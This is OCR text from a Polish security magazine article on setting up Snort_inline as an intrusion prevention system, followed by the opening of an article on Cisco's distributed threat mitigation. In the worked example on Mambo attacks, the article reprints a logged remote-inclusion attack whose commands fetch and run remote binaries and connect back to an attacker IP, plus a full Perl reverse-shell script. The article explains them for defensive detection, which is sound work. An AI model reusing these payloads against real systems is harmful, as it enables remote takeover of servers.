bleeding

.

rules

include

 $

RULE_PATH

/

ftp

.

rules

include

 $

RULE_PATH

/

telnet

.

rules

include

 $

RULE_PATH

/

dns

.

rules

include

 $

RULE_PATH

/

tftp

.

rules

include

 $

RULE_PATH

/

x11

.

rules

include

 $

RULE_PATH

/

misc

.

rules

include

 $

RULE_PATH

/

nntp

.

rules

include

 $

RULE_PATH

/

other

-

ids

.

rules

include

 $

RULE_PATH

/

community

-

      

ftp

.

rules

include

 $

RULE_PATH

/

community

-

      

misc

.

rules

# Głównie spyware

include

 $

RULE_PATH

/

bleeding

-

      

malware

.

rules

include

 $

RULE_PATH

/

malware

.

rules

include

 $

RULE_PATH

/

spyware

-

      

put

.

rules

include

 $

RULE_PATH

/

aams7

.

rules

# Zagadnienia sieciowe

include

 $

RULE_PATH

/

bad

-

      

traffic

.

rules

include

 $

RULE_PATH

/

snmp

.

rules

# Eksploity i ataki bezpośrednie

include

 $

RULE_PATH

/

exploit

.

rules

include

 $

RULE_PATH

/

bleeding

-

      

exploit

.

rules

include

 $

RULE_PATH

/

community

-

      

exploit

.

rules

# Skany i rozpoznania

include

 $

RULE_PATH

/

scan

.

rules

include

 $

RULE_PATH

/

bleeding

-

      

scan

.

rules

# Nietypowe

include

 $

RULE_PATH

/

finger

.

rules

# R-usługi itd.

include

 $

RULE_PATH

/

rpc

.

rules

include

 $

RULE_PATH

/

rservices

.

      

rules

# DOS

include

 $

RULE_PATH

/

dos

.

rules

include

 $

RULE_PATH

/

ddos

.

rules

include

 $

RULE_PATH

/

bleeding

-

      

dos

.

rules

# Związane z WWW

include

 $

RULE_PATH

/

web

-

iis

.

rules

include

 $

RULE_PATH

/

web

-

      

client

.

rules

include

 $

RULE_PATH

/

web

-

      

php

.

rules

include

 $

RULE_PATH

/

web

-

      

attacks

.

rules

include

 $

RULE_PATH

/

bleeding

-

      

web

.

rules

include

 $

RULE_PATH

/

community

-

      

web

-

dos

.

rules

include

 $

RULE_PATH

/

community

-

      

web

-

php

.

rules

# Sygnatury SQL oraz baz danych

include

 $

RULE_PATH

/

sql

.

rules

include

 $

RULE_PATH

/

oracle

.

rules

Listing 7. 

Zalecane reguły dla 

sieci mieszanej, cd

include

 $

RULE_PATH

/

mysql

.

rules

include

 $

RULE_PATH

/

community

-

      

sql

-

injection

.

rules

# Dotyczące Windows

include

 $

RULE_PATH

/

netbios

.

rules

# Odpowiedzi na kompromitację

include

 $

RULE_PATH

/

attack

-

      

responses

.

rules

include

 $

RULE_PATH

/

bleeding

-

      

attack_response

.

rules

# Sygnatury poczty
#include $RULE_PATH/smtp.rules

include

 $

RULE_PATH

/

imap

.

rules

include

 $

RULE_PATH

/

pop2

.

rules

include

 $

RULE_PATH

/

pop3

.

rules

include

 $

RULE_PATH

/

community

-

      

mail

-

client

.

rules

# Trojany, wirusy oraz spyware

include

 $

RULE_PATH

/

backdoor

.

rules

include

 $

RULE_PATH

/

virus

.

rules

include

 $

RULE_PATH

/

bleeding

-

virus

.

rules

include

 $

RULE_PATH

/

community

-

      

virus

.

rules

# Sygnatury polityki

include

 $

RULE_PATH

/

porn

.

rules

include

 $

RULE_PATH

/

p2p

.

rules

include

 $

RULE_PATH

/

bleeding

-

p2p

.

rules

include

 $

RULE_PATH

/

bleeding

-

      

inappropriate

.

rules

include

 $

RULE_PATH

/

community

-

      

inappropriate

.

rules

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

65

ba  uaktywnić  preprocesor  perfoni-
tor, z kolei do poprawnego ogląda-
nia tabel niezbędne jest narzędzie 
rrdtool.  Całość  można  bezproble-
mowo dodać do pliku crontab, jako 
że generowane obrazki i strony ma-
ją charakter przyrostowy. Pmgraph 
przedstawia Rysunek 6.

W  przypadku  konfiguracji

preprocesora:  preprocessor  perf-
monitor: 

time 60 file /var/log/snort/

perfmon.txt pktcnt 500

 uruchamiać 

będziemy  polecenie: 

pmgraph.pl 

[ścieżka  do  folderu,  w  którym 
publikujemy tabele]

 /var/log/snort/

perfmon.txt

 .

Chcąc  dodać  to  do  crona  nale-

ży  zastosować  następującą  linijkę: 

*/30  *  *  *  *  /root/pmgraph-0.2/
pmgraph.pl 

[ścieżka  do  folderu,

w którym publikujemy tabele]

  /var/

log/snort/perfmon.txt

,  aby  polece-

nie było wywoływane codziennie co 
trzydzieści minut. 

Implementacja 

Snorta w trybie inline

Teraz  opiszemy  pokrótce,  jak  za-
instalować  serwer  IPS  oparty  na 
Snorcie  w  trybie  inline  za  pomo-
cą  skryptów  dostępnych  na  stronie 

www.snortattack.org.

Zastosowanie  skryptów  ze  snor-

tattack  to  najprostszy  i  najszybszy 
sposób  na  rozwiązanie  zależności 
i  określenie  opcji  kompilacji.  Dzięki 
skryptom  tym  można  uzyskać  dzia-
łający IPS w mniej niż 45 minut, co 
pozwala na skoncentrowanie się na 
procesach:  konfiguracji  i  optymali-
zacji.  Z  drugiej  strony,  aby  w  pełni 
zrozumieć  implementację  systemu 
trzeba  samodzielnie  zainstalować 
wszystkie  różne  pakiety.  Zaawan-
sowanym  użytkownikom  polecamy 
przeczytanie  podręcznika  użytkow-
nika instalacji krok po kroku, dostęp-
nego  w  sekcji  dokumentacji  serwi-
su  snortattack,  bez  korzystania  ze 
skryptów.

Skrypty  i  instrukcje  snortattack

automatyzują  wiele  procedur  oraz 
wyjaśniają, jak zainstalować Snort_
inline  pod  następującymi  dystrybu-
cjami:

•   Debian
•   Fedora Core 2, 3, 4, 5

Podczas  implementacji  dystrybucji
należy  wyłączyć  firewall  oraz  seli-
nux.

Po  zakończeniu  implementacji

pobieramy  current-attack.sh  (www.

snor tattack.org /mambo /script /

current-attack.sh), zmieniamy odpo-
wiednio wartość zmiennej 

SA _ DISTRO

 

postępując  zgodnie  z  instrukcjami 
w skrypcie.

Ustawiamy tutaj deb w przypad-

ku Debiana bądź “fc20” “fc30” “fc40” 
“fc50”  w  przypadku  odpowiednich 
wersji Fedory.

Jako wartość zmiennej 

SA _ DIR _

ROOT

  ustawiamy  pełną  ścieżkę  do 

miejsca,  w  które  pobierane  będą 
pakiety  i  skrypty  do  implementacji 
Snorta.  Domyślną  ścieżką  jest  tu 

/root/snortattack.

Ustawiamy wartość języka (wło-

ski bądź angielski): LANG – ita. Do-
myślnie wybrany jest włoski.

Listing 8. 

Pakiety z logów Apache'a

216.63.z.z - -[28/Feb/2006:12:30:44+1300]"GET/
index2.php?option=com_content&do_pdf=1&id
=1index2.php?_REQUEST[option]=com_content
&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_
absolute_path=http://66.98.a.a/cmd.txt?&cmd
=cd%20/tmp;wget%20216.99.b.b/cback;chmod
%20744%20cback;./cback%20217.160.c.c%208081
;wget%20216.99.b.b/dc.txt;chmod%20744%20dc.txt;
perl%20dc.txt%20217.160.c.c%208081;cd%20/var/tmp;
curl%20-o%20cback%20http://216.99.b.b/cback;
chmod%20744%20cback;./cback%20217.160.c.c%
208081;curl%20-o%20dc.txt%20http://216.99.b.b/
dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217
.160.c.c%208081;echo%20YYY;echo| HTTP/1.1
"404 - "-" "Mozilla/4.0(compatible; MSIE 6.0; 
Windows NT 5.1;)" "-" 0localhost

Listing 9. 

Odpowiedź serwera na pytanie o tożsamość użytkownika

11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081:   P  1:40(39) ack 1 

win 5840

<nop,nop,timestamp 454607 3169841954>
       0x0000: 4500 005b 6f63 4000 4006 f4c6 0a00 0078 E..[oc@.@......x
       0x0010: d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65 ...Z....#...m..e
       0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf .....j..........
       0x0030: bcef f322 7569 643d 3028 726f 6f74 2920 ..."uid=0(root).
       0x0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
       0x0050: 7073 3d30 2872 6f6f 7429 0a             ps=0(root). 

Listing 10. 

Odpowiedź Snorta na przywileje roota w Mambo

11:12:56.824718 IP 10.0.x.x.514
       > 10.0.y.yy.514: SYSLOG
       auth.alert, length: 164
       0x0000:  4500 00c0 0189 4000 4011 23d4 0a00 0078  E.....@.@.#....x
       0x0010:  0a00 0059 0202 0202 00ac 2937 3c33 333e  ...Y......)7<33>
       0x0020:  736e 6f72 743a 205b 313a 3439 383a 365d  snort:.[1:498:6]
       0x0030:  2041 5454 4143 4b2d 5245 5350 4f4e 5345  .ATTACK-RESPONSE
       0x0040:  5320 6964 2063 6865 636b 2072 6574 7572  S.id.check.retur
       0x0050:  6e65 6420 726f 6f74 205b 436c 6173 7369  ned.root.[Classi
       0x0060:  6669 6361 7469 6f6e 3a20 506f 7465 6e74  fication:.Potent
       0x0070:  6961 6c6c 7920 4261 6420 5472 6166 6669  ially.Bad.Traffi
       0x0080:  635d 205b 5072 696f 7269 7479 3a20 325d  c].[Priority:.2]
       0x0090:  3a20 7b54 4350 7d20 3130 2e30 2exx 2exx  :.{TCP}.10.0.x.x
       0x00a0:  xxxx 3a33 3237 3730 202d 3e20 3231 372e  xx:32770.->.217.
       0x00b0:  3136 302e xxxx xx2e xxxx 3a38 3038 310a  160.ccc.cc:8081.

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

66

Po zakończeniu zmian w current-

attack.sh uruchamiamy skrypt za po-
mocą następującego polecenia:

> sh current-attack.sh

System pobierze skrypty oraz pakie-
ty niezbędne do zakończenia proce-
su instalacji do katalogu zdefiniowa-
nego w 

SA _ DIR _ ROOT

. Wewnątrz te-

go katalogu zmienimy skrypt fast_in-

line.sh,  który  w  pełni  automatyzuje 
instalację Snorta.

Aby  instalacja  przebiegła  po-

prawnie  musimy  ustawić  trochę 
parametrów,  które  fast_inline  wy-
korzysta  do  skonfigurowania  urzą-
dzenia:

•  

SA _ DIR _ ROOT

 – pełna ścieżka do 

miejsca, w które pobrane zostały 
pakiety i skrypty,

•  

MYSQLPWD

 – hasło konta root w ba-

zie mysql,

•  

MYSQLPWS

  –  hasło  konta  snort  w 

bazie mysql,

•  

IP

 – adres IP, który chcemy przy-

pisać urządzeniu,

•  

NETMASK

  –  maska  sieci,  którą 

chcemy przypisać urządzeniu,

•  

GW

  –  adres  bramy, który  chcemy 

przypisać urządzeniu,

•  

NETWORK

 – sieć, do której należy-

my,

•  

BROADCAST

  –  wartość  adresu  roz-

głaszania,

•  

DNS

 – główny serwer DNS,

•  

HOMENET

 – określa tak zwaną sieć 

zaufaną.  Wartości  w  zmiennej 
oddzielone są przecinkami.

Zmienne  wymienione  poniżej  usta-
wione  są  domyślnie  tak,  by  auto-
matycznie  przeprowadzić  wszystkie 
operacje niezbędne do zainstalowa-
nia Snorta. Przyjrzyjmy się pokrótce, 
co robią:

•  

SA _ UPDATE

 – funkcja ta dokonuje 

importu listy (sources.list w przy-
padku Debiana, yum.conf w przy-
padku  Fedory)  i  aktualizuje  sys-
tem,

•  

SA _ DEPS

  –  pobiera  i  instaluje  za 

pomocą  menedżera  pakietów 
(apt pod Debianem, yum pod Fe-
dorą)  pakiety  wymagane  przez 
Snorta,

•  

SA _ EXTRACT

 – pobiera i rozpako-

wuje pakiety tar.gz, których Snort 
wymaga  do  poprawnego  działa-
nia,

•  

SA _ MYSQL

  –  konfiguruje  serwer 

mysql z podanymi wcześniej ha-
słami,  importuje  bazę  danych 
Snorta  oraz  ustawia  wymagane 
uprawnienia,

•  

SA _ INSTALL

 – kompiluje elementy 

wymagane przez Snorta, tworzy 
katalogi na pliki dziennika, insta-
luje BASE, w razie potrzeby two-
rzy link do jądra itd.,

•  

SA _ INLINE

 – kompiluje Snort_in-

line,

•  

SA _ REPORT

  –  instaluje  Snort  Re-

port,

•  

SA _ PLACID

 – instaluje Placid,

•  

SA _ SNORT _ CONF

 – ustawia w pliku 

konfiguracyjnym  Snorta  podane 
wcześniej  wartości  (sieć  domo-
wa, hasło itd.),

•  

SA _ AUTO

 – powoduje uruchamia-

nie Snorta przy starcie systemu,

•  

SA _ ETH

  –  konfiguruje  interfejsy 

Ethernet,

•  

SA _ SET _ SCRIPT

  –  tworzy  skrypt 

uruchamiający  określoną  wersję 
Snorta (klasyczną bądź Snort_in-
line) z podanymi wcześniej para-
metrami (ip, brama, maska, sieć 
itd.),

•  

SA _ START

  –  pozwala  uruchomić 

Snorta po zakończeniu instalacji,

•  

SA _ EMAIL

  –  umożliwia  wysłanie 

informacji  do  zespołu  Snortat-
tack,  celem  przekazania  pozy-
tywnych  bądź  negatywnych  opi-
nii na temat instalacji przy użyciu 

fast_inline.sh.

Po zakończeniu instalacji należy zre-
startować komputer.

Jeżeli chodzi o skrypt fast_utility, 

jest to nowy, interaktywny twór upra-
szczający typowe operacje wykony-
wane  na  urządzeniach  IPS,  jak  na 
przykład:

•   zmianę adresu IP mostka,
•   restart snorta,
•   aktualizację reguł,
•   tworzenie  kopii  zapasowej  alar-

mów i czyszczenie bazy danych,

•   odnotowywanie  fałszywych  alar-

mów,

•   zmianę sieci domowej,
•   zmianę  rodzaju  sieci  (LAN  DMZ 

MISTA),

•   zmianę hasła roota, itd.

Rysunek 5. 

Obraz ekranu ze SRRAM

Listing 11. 

Zalecana 

konfiguracja w httpd.conf oraz 

my.cnf

httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10
my.cnf :
key_buffer              = 4M
max_allowed_packet      = 4M
thread_stack            = 32K
query_cache_limit       = 104857
query_cache_size        = 1677721
query_cache_type        = 1
max_allowed_packet      = 4M
key_buffer              = 4M

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

67

Jest  zaprojektowany  tak,  by  mógł 
być  również  wykorzystywany  jako 
aplikacja  konsolowa,  a  ponadto  jest 
uruchamiany  przy  każdym  logowa-
niu się roota.

Jeżeli  niektóre  z  wymienionych 

powyżej  zmiennych  nie  są  ustawio-
ne w fast_inline, oznacza to że nie są 
one niezbędne do działania skryptu. 
Sugerujemy  uaktywnienie  domyśl-

nie zmiennej zarządzającej funkcja-
mi.  Więcej  informacji  znaleźć  moż-
na  w  podręczniku  użytkownika  na 

www.snortattack.org. 

Praktyczne przykłady

Wymieńmy teraz kilka technik ata-
ku,  które  Snort_inline  może  za-
uważyć za pomocą reguł i prepro-
cesorów.

Ataki wymierzone w Mambo

Celem  analizowanego  tutaj  ataku 
jest  kompromitacja  serwera  i  za-
ładowanie  eksploita  wykorzystu-
jącego  lukę  w  Mambo<=  4.0.11. 
W przypadku tym pakiety pobrane 
zostały z logów Apache'a, jak po-
kazuje to Listing 7.

Powyższa  sekwencja  pozwala 

załadować i uruchomić cmd.txt.

Poniżej  znajdziecie  ją  w  czytel-

niejszej formie:

cd /tmp; \
wget 216.99.b.b/cback;
       chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
       chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
      cd /var/tmp; \
curl -o cback http://
      216.99.b.b/cback;
      chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
      216.99.b.b/dc.txt;
      chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
      echo YYY;echo|

A oto zawartość cmd.txt:

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET,
       PF_INET, SOCK_STREAM,
       getprotobyname('tcp'));
connect(SOCKET,
       sockaddr_in
      ($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");

Rysunek 6. 

Stworzone przez pmgraph tabele przedstawiające wydajność 

Snorta

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

68

open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;
      HISTFILE=/dev/null /bin/sh -i");

Należy odnotować, że celem powyż-
szych  poleceń  jest  odkrycie,  któ-
ry  użytkownik  w  systemie  urucha-
mia Mambo. Szybka reakcja serwe-
ra nań przedstawione jest na Listin-
gu 8.

Jeżeli  zatem  Mambo  posiada 

przywileje roota, możemy przez od-
krytą  lukę  uruchamiać  skrypty.  Re-
akcję  Snorta  na  taki  przypadek 
przedstawia Listing 9.

Phishing

W  dziedzinie  badań  naukowych 
określenie  phishing  opisuje  stu-
dium  słabo  znanego  zagadnienia 
przeprowadzone  bez  ściśle  okre-
ślonego  celu:  oznacza  losowe  po-

szukiwanie,  podobnie  do  rybaka 
zarzucającego sieć z nadzieją zła-
pania  kilku  ryb.  Znaczenie  to  po-
chodzi z 1990 roku.

Phishing w informatyce to tech-

nika inżynierii społecznej pozwala-
jąca na uzyskanie dostępu do oso-
bistych  i  poufnych  danych,  co  po-
zwolić  ma  na  kradzież  tożsamości 
użytkownika,  za  pomocą  fałszy-
wych  wiadomości  e-mail  (jak  rów-
nież  innych  socjotechnicznych  tri-
ków)  skonstruowanych  tak,  by  wy-
dawały  się  autentyczne.  Użytkow-
nik  zwiedziony  takimi  wiadomo-
ściami  ujawnić  może  swoje  oso-
biste  dane,  jak  na  przykład  numer 
konta  bankowego,  nazwę  i  hasło 
użytkownika,  numer  karty  kredy-
towej itp.

Opierając  się  na  definicji  zawar-

tej  w  Wikipedii  opiszemy  metodę
pozwalającą  na  rozwiązanie  tego 
problemu. Przedstawimy wspomnia-
ne już wcześniej, bardzo użyteczne 
narzędzie,  jakim  jest  preprocesor 
Clamav, zintegrowany z dystrybucja-
mi Snort_inline.

Zasada  działania  tego  prepro-

cesora  wydaje  się  być  bardzo  pro-
sta, jednak o ile nie jest on popraw-
nie skonfigurowany jest on bezuży-
teczny.  Preprocesor  Clamav  korzy-
sta z dbdir Clamava jako zbioru re-

guł  przechwytywania  dla  Snorta, 
pozwalając  na  użycie  w  przypad-
ku  pozytywnego  rozpoznania  akcji 
drop.  Niezmiernie  ważne  jest  stałe 
dbanie o aktualność definicji Clama-
va (dbdir). Warto przy okazji wspo-
mnieć, że preprocesor ten nie speł-
nia  wszystkich  wspomnianych  po-
wyżej reguł – jedynie phishing bądź 
wirusy,  które  nie  są  zaszyfrowane 
ani spakowane.

Niezależnie od powyższego ja-

sne  jest,  że  preprocesor  ten  jest 
idealny do blokowania ataków phi-
sherów  –  wiadomości  ich  są  bo-
wiem  pisane  otwartym,  zrozumia-
łym  tekstem.  Konfigurację  tego
rodzaju  sieci  omówimy  w  następ-
nym akapicie.

Wymiana plików

Jak  wszyscy  dobrze  wiemy  w  pry-
watnych sieciach intensywnie operu-
ją programy peer to peer.

Najpopularniejszymi klientami do 

pobierania  w  ten  sposób  plików  są: 
Emule,  Bittorrent,  Gnutella,  Kazaa, 
Soulseek.

Najpowszechniej  stosowanymi 

przez tych klientów protokołami są:

•   bittorrent (wykorzystywany przez 

klienta bittorrent)

•   eDonkey (wykorzystywany przez 

klienta emule)

•   fastrack  (wykorzystywany  przez 

klienta Kazaa)

•   Gnutella  (wykorzystywany  przez 

klienta Gnutella)

•   Soulseek (wykorzystywany przez 

klienta Soulseek)

Celem  zablokowania  tego  rodza-
ju  klientów  peer  to  peer  należy 
uaktywnić  następujące  zbiory  re-
guł: bleeding-p2p oraz p2p. Pliki te
(

/ e t c / s n o r t _ i n l i n e / r u l e s /

bleeding-p2p.rules 

.../p2p.rules

zawierają  wszystkie  najnowsze  re-
guły  pozwalające  na  ochronę  sieci 
przed  wykorzystaniem  przez  szko-
dliwe  programy  p2p,  które  jak  wie-
my  w  zdecydowanej  większości 
przypadków  wysycają  całe  dostęp-
ne łącze.

Należy  sprawdzić,  czy  zmienna 

HOMENET w pliku snort_inline.conf 

definiuje sieć, którą chcemy chronić 
przed takimi klientami.

Reguły  tego  rodzaju  podzielone 

są  według  rodzaju  działania.  I  tak, 
mamy na przykład:

Wyszukiwanie  plików  w  sieci  eDon-
key:

drop udp $HOME_NET any ->
       $EXTERNAL_NET 4660:4799
       (msg: "BLEEDING-EDGE P2P
       eDonkey Search"; content:
      "|e3 0e|";
       offset: 0; depth: 2;
       rawbytes;classtype:
       policy-violation; reference:url,
      www.edonkey.com;
       sid: 2001305; rev:3; )

Ruch bittorrent:

drop tcp $HOME_NET any ->
       $EXTERNAL_NET any (msg:
       "BLEEDING-EDGE P2P
       BitTorrent Traffic";
       flow:
       established;
       content:
      "|0000400907000000|";
       offset: 0; depth: 8;
       reference:
      url,bitconjurer.org/BitTorrent/
      protocol.html;
       classtype: policy-violation;
       sid: 2000357; rev:3; )

Żądanie od klienta Gnutelli:

drop tcp $HOME_NET any ->
       $EXTERNAL_NET any (msg:
      "P2P GNUTella client request";
       flow:to_server,established;
       content:
      "GNUTELLA"; depth:8;
       classtype:policy-violation;
       sid:1432; rev:6;)

Jeżeli  chce  się  blokować  protoko-
ły  transferu  plików  należy  uważ-
nie wybrać z ww. plików odpowied-
ni protokół, a co za tym idzie odpo-
wiednie działanie. Nie zawsze da-
je  się  całkowicie  zatrzymać  ruch
generowany  przez  klienta  p2p,
w rzeczy samej, testy pokazały że 
program  Emule  nie  jest  w  stanie 

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

69

zablokować sieci kad, podczas gdy 
bittorrenta  ogranicza  jedynie  wy-
korzystanie  łącza.  Chociaż  wspo-
mniane  tu  rozwiązanie  nie  zdoła 
całkowicie zablokować tych progra-
mów, włączenie ww. reguł genero-
wać  będzie  regularne  problemy, 
które  mogą  zniechęcić  użytkowni-
ków aplikacji do wymiany plików.

Detekcja fałszywych 

alarmów: podejście 

systematyczne

Teraz  stworzymy  metodę  wykrywa-
jącą fałszywe alarmy. Opiszemy tu-
taj trzy różne scenariusze:

•   fałszywe alarmy przy korzystaniu 

z WWW

•   fałszywe  alarmy  przy  zatrzyma-

nej poczcie

•   ogólne  fałszywe  alarmy  (nie 

WWW i nie poczta)

W  pierwszym  przypadku  musimy 
znać  adres  źródłowy  hosta,  które-
go  dotknął  problem,  a  następnie, 
za  pomocą  podstawowego  inter-
fejsu  sieciowego  i  wykorzystując 
funkcję  wyszukiwania  (wybrawszy 
kryterium  ip  i  wpisawszy  adres  w 
okrągłych  nawiasach)  znajdujemy 
go w powiadomieniach.

Znalazłszy fałszywy alarm (który 

spowodował  odrzucenie)  mamy  do 
wyboru dwa możliwe rozwiązania: 

•   wyłączenie  reguł,  które  go  spo-

wodowały,

•   dodanie  źródłowego  adresu 

IP  do  zmiennej  w  pliku 

snort _

inline.conf

 określającą sieć do-

mową.

Dzięki narzędziu pmgraph możemy 
śledzić statystyki ruchu na i wydaj-
ności urządzenia. Interesująca jest 

tabela  reprezentująca  obciążenie 
procesora,  które  mogło  powodo-
wać fałszywe alarmy (w przypadku 
obciążeń większych niż 70%), któ-
rych nie wyłapał BASE.

Kolejną  istotną  informacją  przy 

wyszukiwaniu  fałszywych  alarmów 
jest  liczba  ataków  na  sekundę.  Je-
żeli znajdziemy w tej tabeli wartości 
większe niż 15 na sekundę, mamy do 
czynienia  z  jednym  z  dwóch  poniż-
szych przypadków:

•   A – fałszywy alarm;
•   B  –  atak  wymierzony  w  host 

w sieci.

Najbardziej przydatna jest tworzona 
przez  silnik  bezpieczeństwa  tabela 
reprezentująca zablokowane treści. 
Dzięki BASE mamy możliwość oglą-
dania szczegółów ataków, zaś opcja 

plain text jest bardzo przydatna przy 
przeglądaniu  przechwyconego  ru-
chu w formacie ASCII.

Nie  jest  możliwe  oglądanie 

przez  interfejs  WWW  wykorzysta-
nia  pamięci  (chyba,  że  zainstaluje-
my  w  naszym  systemie  mrtg).  Jest 
to  szczególnie  ważne  w  przypad-
kach,  gdy  chcemy  uruchomić  dużą 
liczbę reguł. Aby zapobiec awariom 
naszej  maszyny  bądź  generowa-
niu  fałszywych  alarmów,  zalecamy 
optymalizację  reguł  oraz  demonów 
takich jak Apache czy mysql (patrz 
Listing 10).

Podsumowanie

Podsumowując, Snort_inline to efek-
tywny  sposób  na  stawienie  czoła 
szczególnie  niebezpiecznym  środo-
wiskom sieciowym.

Wprawdzie  nie  odpowiedź  na 

wszelkie zło, ale jest to dobrze ułożo-
na aplikacja bezpieczeństwa – jeżeli 
została zaimplementowana wedle da-
nych potrzeb.

W przypadku Snorta reguła mó-

wiąca,  że  „włączenie  wszystkiego 

czyni  nasz  komputer  bezpieczniej-

szym”, nie ma zastosowania – każ-
da  bowiem  reguła  może  bowiem 
generować fałszywe alarmy, bloku-
jące niewinny ruch w sieci bądź ge-
nerujące inne problemy. l

O autorach

Pierpaolo Palazzoli pracuje w branży bezpieczeństwa, jest absolwentem inży-
nierii telekomunikacji na Politechnice Mediolańskiej we Włoszech. Pracuje nad 
Snortem od pięciu lat. Matteo Valenza pracuje w sektorze IT jako administra-
tor systemów, pracuje nad Snortem od roku. Rezultatem współpracy i wymiany 
wiedzy pomiędzy Matteo a Pierpaolo jest snortattack.org. Serwis pojawił się
w sieci sześć miesięcy temu, zespół zapoczątkował go jednak przed dwoma
laty. Jego głównym atutem jest dokumentacja użytkownika oraz skrypty insta-
lacyjne dla Snorta, napisane po włosku i angielsku. Dostępne jest także aktyw-
ne forum dyskusyjne oraz lista mailingowa. Pierpaolo i Matteo planują stwo-
rzyć dzięki snortattack.org Grupę użytkowników Snorta, celem której ma być 
wymiana idei związanych z programem pomiędzy jego użytkownikami we Wło-
szech i nacałym świecie.
www.snortattack.org!

W Sieci

•   http://www.snort.org – Snort 
•   http://snort-inline.sourceforge.net -Snort_inline 
•   http://secureideas.sourceforge.net - Base
•   http://speakeasy.wpi.edu/placid - Placid
•   http://oinkmaster.sourceforge.net - Oinkmaster
•   http://sourceforge.net/projects/srram - Srram
•   http://people.su.se/~andreaso/perfmon-graph - Pmgraph
•   http://fedora.redhat.com - Fedora
•   http://www.debian.org – Debian
•   http://www.mamboserver.com - Mambo
•   http://www.clamav.net – Clamav
•   http://www.bleedingsnort.com - Bleedingsnort
•   http://www.snortattack.org – Snortattack

background image

www.hakin9.org

hakin9 Nr 1/2007

70

Obrona

P

roblem  dodatkowo  komplikuje  fakt,  że 
nowoczesne  sieci  dostarczają  wie-
le  metod  dostępu  i  jednocześnie  zło-

żone  są  z  wielu  coraz  bardziej  skompliko-
wanych  systemów  sieciowych.  Każdy  z  nich
(w większości przypadków) działa w zupełnym 
odosobnieniu, tocząc nierówną walkę, w której 
broniący  stale  musi  nadążać  za  atakującymi.
Z  pomocą  administratorom  przychodzą  coraz 
częściej  systemy  badające  zachowanie  po-
szczególnych  węzłów  sieciowych  na  trochę 
wyższym  niż  podstawowa  diagnostyka  pozio-
mie, ale są one obecnie ograniczone do rapor-
towania i sugerowania działań, a brak architek-
tury wspólnej dla całej gamy rozwiązań powo-
duje, że ich skuteczność w zestawieniu z nakła-
dami pracy administratorów jest niewielka.

Ida powstania mechanizmu DTM opiera się 

na połączeniu możliwości wielu różnego rodza-
ju urządzeń rozproszonych w sieci. Architektu-
ra  DTM  umożliwia  rozpowszechnianie  w  cza-
sie  rzeczywistym  informacji  o  aktualnym  za-
grożeniu  na  kontrolowane  urządzenia  i  w  ten
sposób powstrzymanie ataku na sieć, właśnie 
wybuchającą  zarazę  sieciową  lub  innego  ro-
dzaju  anomalię  ruchową.  Jeśli  wysłanie  infor-
macji  wiązało  się  z  uaktualnieniem  konfigura-

cji  urządzeń,  powinny  one  oczywiście  zostać 
poinformowane po ustaniu ataku i powrócić do 
pierwotnego  stanu  –  jednocześnie  raportując 
te zdarzenia do systemów zarządzania.

Rozwiązania DTM

Łukasz Bromirski

stopień trudności

Obecne środowiska sieciowe stają się coraz bardziej wymagające 

dla systemów bezpieczeństwa. Rosnące przepustowości

– zarówno dostępne w sieciach lokalnych jak i w styku

z Internetem, powodują że systemy mające ambicje działać

w czasie rzeczywistym stają przed coraz trudniejszym zadaniem.

Z artykułu dowiesz się...

•   jak wygląda architektura DTM Cisco;
•   jakie elementy powinieneś zastosować w sieci, 

by rozwiązanie;

•   spełniało swoje zadanie;
•   czym  system  różni  się  od  innych,  prostszych 

rozwiązań bezpieczeństwa;

•   i kiedy uzupełnia inne systemy, w tym systemy 

zarządzania i;

•   monitoringu.

Powinieneś wiedzieć...

•   w jaki sposób sieci IP przenoszą ruch;
•   czym  charakteryzują  się  poszczególne  ele-

menty bezpieczeństwa;

•   sieciowego  -  firewalle,  systemy  uwierzytelnia-

nia i monitoringu;

•   przyda  się  podstawowa  znajomość  systemu 

Cisco IOS.

background image

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

71

Unikalnym  przykładem  takiego  sys-
temu  jest  Cisco  MARS,  o  którym 
szerzej w dalszej części artykułu.

Kolejny  element  systemu  to  de-

dykowane  urządzenia  pozwalają-
ce  na  aktywne  zapobieganie  ata-
kom sieciowym – czyli sensory IPS. 
Systemy te z uwagi na swoją budo-
wę, działanie i ilość informacji które 
analizują w trakcie normalnej pracy, 
stają się doskonałym narzędziem do 
szybkiego  powstrzymywania  dowol-
nego  zagrożenia  sieciowego  –  sta-
nowią bazę wiedzy na temat zagro-
żeń, dużo dokładniejszą niż dowolne 
filtry ruchowe dostępne na routerach 
czy w systemach firewall.

Ostatni  element  systemu  to 

urządzenia,  które  w  ramach  działa-
nia systemu DTM będą pod kontro-
lą systemu zarządzania – tj. w cza-
sie  rzeczywistym  będą  mogły  zo-
stać wyposażone w kryteria opisują-
ce  ruch,  który  został  zidentyfikowa-
ny  jako  wrogi  i  który  należy  zatrzy-
mać. W architekturze Cisco DTM ro-
lę takich urządzeń pełnią routery Ci-
sco ISR wyposażone w oprogramo-
wanie z systemem IPS.

Jak działa DTM?

Rozwiązanie  DTM  zostanie  opisa-
ne  na  przykładzie  rozwiązania  Ci-
sco DTM.

Elementem  centralnym  jest  sys-

tem  Cisco  MARS,  który  na  podsta-
